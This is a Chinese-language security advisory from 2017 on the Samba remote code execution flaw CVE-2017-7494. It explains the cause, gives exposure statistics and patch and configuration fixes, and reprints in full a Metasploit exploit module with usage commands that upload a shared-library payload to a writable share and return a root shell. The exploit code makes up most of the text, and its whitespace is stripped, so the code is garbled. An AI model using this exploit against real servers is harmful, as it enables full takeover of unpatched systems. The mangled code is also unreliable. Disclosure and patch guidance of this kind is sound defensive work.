• 【漏洞预警】Samba远程代码执行漏洞

    2017-05-25 北京白帽汇科技有限公司

    2017年5月24日Samba发布了4.6.4版本,其中修复了一个严重的远程代码执行漏洞,该漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0-4.6.4,3.5.0-4.5.10,3.5.0-4.4.14中间的版本(不包含4.6.4,4.5.10,4.4.14版本)。该漏洞可以造成远程代码执行,恶意攻击者可提升至root权限,对服务器进行任意破坏操作。

    根据白帽汇FOFA系统统计,目前,全球共有190万个存在smb的linux服务器,美国共有8.6万,中国地区有6.5万,该存在smb服务最多的国家是阿拉伯联合酋长国,有87万台。目前经过白帽汇安全工程师的测试发现Synology NAS系统存在该问题。

    2017年5月24日Samba发布了4.6.4版本,其中修复了一个严重的远程代码执行漏洞,该漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0-4.6.4,3.5.0-4.5.10,3.5.0-4.4.14中间的版本(不包含4.6.4,4.5.10,4.4.14版本)。该漏洞可以造成远程代码执行,恶意攻击者可提升至root权限,对服务器进行任意破坏操作。

    根据白帽汇FOFA系统统计,目前,全球共有190万个存在smb的linux服务器,美国共有8.6万,中国地区有6.5万,该存在smb服务最多的国家是阿拉伯联合酋长国,有87万台。目前经过白帽汇安全工程师的测试发现Synology NAS系统存在该问题。

    Samba 服务全球开放情况(仅为端口开放情况,非漏洞影响情况)

    Samba 服务中国地区开放情况(仅为端口开放情况,非漏洞影响情况)

    漏洞原理与危害

    该漏洞需要通过一个可写入的Samba用户权限即可以提权root权限,即使Samba默认不是root用户执行。

    通过发布的最新版本补丁,进行对比分析,可以看到在is_known_pipename函数中对pipename是否包含/进行了检查。

    通过补丁可知,这里我们可以构造一个有/符号的管道名或路径名,如/home/exchange/evil.so

    对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。

    漏洞影响

    暂无

    漏洞POC

    以下PoC为MetasplotFramework框架的利用代码,使用时请把该文件保存到msf文件夹modules/exploits/linux/samba中,并命名为is_known_pipename.rb。

    classMetasploitModule<Msf::Exploit::Remote

    Rank=ExcellentRanking

     

    includeMsf::Exploit::Remote::DCERPC

    includeMsf::Exploit::Remote::SMB::Client

     

    definitialize(info={})

    super(update_info(info,

    'Name'=>'Sambais_known_pipename()ArbitraryModuleLoad',

    'Description'=>%q{

    Thismoduletriggersanarbitrarysharedlibraryloadvulnerability

    inSambaversions3.5.0to4.4.14,4.5.10,and4.6.4.Thismodule

    requiresvalidcredentials,awriteablefolderinanaccessibleshare,

    andknowledgeoftheserver-sidepathofthewriteablefolder.In

    somecases,anonymousaccesscombinedwithcommonfilesystemlocations

    canbeusedtoautomaticallyexploitthisvulnerability.

    },

    'Author'=>

    [

    'steelo<knownsteelo[at]gmail.com>',#VulnerabilityDiscovery

    'hdm',#MetasploitModule

    ],

    'License'=>MSF_LICENSE,

    'References'=>

    [

    ['CVE','2017-7494'],

    ['URL','https://www.samba.org/samba/security/CVE-2017-7494.html'],

    ],

    'Payload'=>

    {

    'Space'=>9000,

    'DisableNops'=>true

    },

    'Platform'=>'linux',

    #

    #TargetsarecurrentlylimitedbyplatformswithELF-SOpayloadwrappers

    #

    'Targets'=>

    [

    ['LinuxARM(LE)',{'Arch'=>ARCH_ARMLE}],

    ['Linuxx86',{'Arch'=>ARCH_X86}],

    ['Linuxx86_64',{'Arch'=>ARCH_X64}],

    #['LinuxMIPS',{'Arch'=>MIPS}],

    ],

    'Privileged'=>true,

    'DisclosureDate'=>'Mar242017',

    'DefaultTarget'=>2))

     

    register_options(

    [

    OptString.new('SMB_SHARE_NAME',[false,'ThenameoftheSMBsharecontainingawriteabledirectory']),

    OptString.new('SMB_SHARE_BASE',[false,'TheremotefilesystempathcorrelatingwiththeSMBsharename']),

    OptString.new('SMB_FOLDER',[false,'ThedirectorytousewithinthewriteableSMBshare']),

    ])

    end

     

     

    defgenerate_common_locations

    candidates=[]

    ifdatastore['SMB_SHARE_BASE'].to_s.length>0

    candidates<<datastore['SMB_SHARE_BASE']

    end

     

    %W{/volume1/volume2/volume3/shared/mnt/mnt/usb/media/mnt/media/var/samba/tmp/home/home/shared}.eachdo|base_name|

    candidates<<base_name

    candidates<<[base_name,@share]

    candidates<<[base_name,@share.downcase]

    candidates<<[base_name,@share.upcase]

    candidates<<[base_name,@share.capitalize]

    candidates<<[base_name,@share.gsub("","_")]

    end

     

    candidates.uniq

    end

     

    defenumerate_directories(share)

    begin

    self.simple.connect("\\\\#{rhost}\\#{share}")

    stuff=self.simple.client.find_first("\\*")

    directories=[""]

    stuff.each_pairdo|entry,entry_attr|

    nextif%W{...}.include?(entry)

    nextunlessentry_attr['type']=='D'

    directories<<entry

    end

     

    returndirectories

     

    rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

    vprint_error("Enum#{share}:#{e}")

    returnnil

     

    ensure

    ifself.simple.shares["\\\\#{rhost}\\#{share}"]

    self.simple.disconnect("\\\\#{rhost}\\#{share}")

    end

    end

    end

     

    defverify_writeable_directory(share,directory="")

    begin

    self.simple.connect("\\\\#{rhost}\\#{share}")

     

    random_filename=Rex::Text.rand_text_alpha(5)+".txt"

    filename=directory.length==0?"\\#{random_filename}":"\\#{directory}\\#{random_filename}"

     

    wfd=simple.open(filename,'rwct')

    wfd<<Rex::Text.rand_text_alpha(8)

    wfd.close

     

    simple.delete(filename)

    returntrue

     

    rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

    vprint_error("Write#{share}#{filename}:#{e}")

    returnfalse

     

    ensure

    ifself.simple.shares["\\\\#{rhost}\\#{share}"]

    self.simple.disconnect("\\\\#{rhost}\\#{share}")

    end

    end

    end

     

    defshare_type(val)

    ['DISK','PRINTER','DEVICE','IPC','SPECIAL','TEMPORARY'][val]

    end

     

    defenumerate_shares_lanman

    shares=[]

    begin

    res=self.simple.client.trans(

    "\\PIPE\\LANMAN",

    (

    [0x00].pack('v')+

    "WrLeh\x00"+

    "B13BWz\x00"+

    [0x01,65406].pack("vv")

    ))

    rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

    vprint_error("CouldnotenumeratesharesviaLANMAN")

    return[]

    end

    ifres.nil?

    vprint_error("CouldnotenumeratesharesviaLANMAN")

    return[]

    end

     

    lerror,lconv,lentries,lcount=res['Payload'].to_s[

    res['Payload'].v['ParamOffset'],

    res['Payload'].v['ParamCount']

    ].unpack("v4")

     

    data=res['Payload'].to_s[

    res['Payload'].v['DataOffset'],

    res['Payload'].v['DataCount']

    ]

     

    0.upto(lentries-1)do|i|

    sname,tmp=data[(i*20)+0,14].split("\x00")

    stype=data[(i*20)+14,2].unpack('v')[0]

    scoff=data[(i*20)+16,2].unpack('v')[0]

    scoff-=lconviflconv!=0

    scomm,tmp=data[scoff,data.length-scoff].split("\x00")

    shares<<[sname,share_type(stype),scomm]

    end

     

    shares

    end

     

    defprobe_module_path(path)

    begin

    simple.create_pipe(path)

    rescueRex::Proto::SMB::Exceptions::ErrorCode=>e

    vprint_error("Probe:#{path}:#{e}")

    end

    end

     

    deffind_writeable_path(share)

    subdirs=enumerate_directories(share)

    returnunlesssubdirs

     

    ifdatastore['SMB_FOLDER'].to_s.length>0

    subdirs.unshift(datastore['SMB_FOLDER'])

    end

     

    subdirs.eachdo|subdir|

    nextunlessverify_writeable_directory(share,subdir)

    returnsubdir

    end

     

    nil

    end

     

    deffind_writeable_share_path

    @path=nil

    share_info=enumerate_shares_lanman

    ifdatastore['SMB_SHARE_NAME'].to_s.length>0

    share_info.unshift[datastore['SMB_SHARE_NAME'],'DISK','']

    end

     

    share_info.eachdo|share|

    nextifshare.first.upcase=='IPC$'

    found=find_writeable_path(share.first)

    nextunlessfound

    @share=share.first

    @path=found

    break

    end

    end

     

    deffind_writeable

    find_writeable_share_path

    unless@share&&@path

    print_error("Nosuiteableshareandpathwerefound,trysettingSMB_SHARE_NAMEandSMB_FOLDER")

    fail_with(Failure::NoTarget,"Nomatchingtarget")

    end

    print_status("Usinglocation\\\\#{rhost}\\#{@share}\\#{@path}forthepath")

    end

     

    defupload_payload

    begin

    self.simple.connect("\\\\#{rhost}\\#{@share}")

     

    random_filename=Rex::Text.rand_text_alpha(8)+".so"

    filename=@path.length==0?"\\#{random_filename}":"\\#{@path}\\#{random_filename}"

    wfd=simple.open(filename,'rwct')

    wfd<<Msf::Util::EXE.to_executable_fmt(framework,target.arch,target.platform,

    payload.encoded,"elf-so",{:arch=>target.arch,:platform=>target.platform}

    )

    wfd.close

     

    @payload_name=random_filename

    returntrue

     

    rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

    print_error("Write#{@share}#{filename}:#{e}")

    returnfalse

     

    ensure

    ifself.simple.shares["\\\\#{rhost}\\#{@share}"]

    self.simple.disconnect("\\\\#{rhost}\\#{@share}")

    end

    end

    end

     

    deffind_payload

    print_status("Payloadisstoredin//#{rhost}/#{@share}/#{@path}as#{@payload_name}")

     

    #ReconnecttoIPC$

    simple.connect("\\\\#{rhost}\\IPC$")

     

    #

    #InaperfectworldwewouldfindawaymakeIPC$'sassociatedCWD

    #changetooursharepath,whichwouldallowthefollowingcode:

    #

    #probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")

    #

     

    #Untilwefindabetterway,bruteforcebasedoncommonpaths

    generate_common_locations.eachdo|location|

    target=[location,@path,@payload_name].join("/").gsub(/\/+/,'/')

    print_status("Tryinglocation#{target}...")

    probe_module_path(target)

    end

    end

     

    defexploit

    #SetupSMB

    connect

    smb_login

     

    #Findawriteableshare

    find_writeable

     

    #Uploadthesharedlibrarypayload

    upload_payload

     

    #Findandexecutethepayloadfromtheshare

    find_payloadrescueRex::StreamClosedError

     

    #Shutdown

    disconnect

    end

     

    end

    使用方法:

    useexploit/linux/samba/is_known_pipename

    setRHOST目标ip

    exploit

    成功后就会返回Shell,成功后效果如下图:

    CVE编号

    CVE-2017-7494

    修复建议

    1、下载安装最新版本的samba软件。最新版本:

    https://www.samba.org/samba/history/samba-4.6.4.html

    https://www.samba.org/samba/history/samba-4.5.10.html

    https://www.samba.org/samba/history/samba-4.4.14.html

    2、用户可以通过临时修改smb.conf文件进行防御,在smb.conf的[global]节点下增加 ntpipesupport=no选项,然后重新启动samba服务,即可防御相关攻击。

    白帽汇会持续对该漏洞进行跟进。后续可以关注链接

    参考

    [1] https://lists.samba.org/archive/samba-announce/2017/000406.html

    [2] https://github.com/rapid7/metasploit-framework/pull/8450

    白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

    公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-大数据安全协作平台。

    为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

白帽汇
服务热线:400-650-2031
联系邮箱:service@baimaohui.net
媒体联络:PR@baimaohui.net
地址:北京市朝阳区东三环北路天元港B座10层
信息
最新资讯
反馈
FAQ
京ICP备15042518号